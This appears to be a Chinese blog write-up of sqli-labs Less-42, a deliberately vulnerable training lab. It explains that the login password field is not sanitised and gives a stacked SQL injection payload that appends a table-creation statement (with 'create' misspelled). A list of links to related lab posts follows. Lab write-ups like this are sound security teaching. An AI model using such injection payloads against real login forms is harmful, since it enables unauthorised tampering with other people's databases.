sqli-Labs————less-42

FLy_鵬程萬里發表於2018-05-21

Less-42

原始碼分析：

在login.php檔案中，我們可以發現以下內容：

從上面所指的程式碼部分我們可以發現，對使用者輸入的密碼沒有經過任何的處理操作，因此在登入的時候可以用於注入。

payload：

username：admin（隨意）

password：aaa';creat table me like users#(建立表hps)

登入之前的四張表：

登入之後：

這算是一個堆疊注入的一個應用吧！

相關文章

less-12 in sqli-labs
2020-12-17
SQL
sqli-labs(54-65)
2020-10-27
SQL
sqli-labs————Less-52
2018-05-22
SQL
sqli-labs————Less-53
2018-05-22
SQL
sqli-labs————Less-55
2018-05-22
SQL
sqli-labs————Less-56
2018-05-22
SQL
sqli-labs————Less-57
2018-05-22
SQL
sqli-labs————Less-58
2018-05-22
SQL
sqli-labs————Less-59
2018-05-22
SQL
sqli-labs————Less-28
2018-05-16
SQL
sqli-labs————less-28a
2018-05-16
SQL
sqli-labs————Less-29
2018-05-19
SQL
sqli-labs————Less-30
2018-05-19
SQL
sqli-labs————Less-31
2018-05-19
SQL
sqli-labs————Less-32
2018-05-19
SQL
sqli-labs————Less-33
2018-05-19
SQL
sqli-Labs————less-35
2018-05-20
SQL
sqli-Labs————less-36
2018-05-20
SQL
sqli-Labs————less-37
2018-05-20
SQL
sqli-Labs————less-38
2018-05-20
SQL
sqli-Labs————less-39
2018-05-20
SQL
sqli-Labs————less-40
2018-05-20
SQL
sqli-Labs————less-41
2018-05-20
SQL
sqli-Labs————less-43
2018-05-21
SQL
sqli-Labs————less-44
2018-05-21
SQL
sqli-Labs————less-45
2018-05-21
SQL
sqli-labs————Less-48
2018-05-21
SQL
sqli-labs————Less-49
2018-05-21
SQL
sqli-labs————Less-51
2018-05-21
SQL
Sqli-labs 部落格目錄
2018-07-26
SQL
sqli-labs————Less-60-65
2018-05-22
SQL
sqli-labs ————less -26a
2018-05-16
SQL
Sqli-Labs：Less2-Less4
2018-07-24
SQL
玩一玩sqli-labs靶場
2022-02-17
SQL
sqli-labs第二關詳解
2020-10-05
SQL
Sqli-labs之Less1-10
2017-04-14
SQL
sqli-labs 第25關（過濾or和AND ）
2020-12-25
SQL
sqli-labs————Less-26（繞空格、/*、#等）
2018-05-16
SQL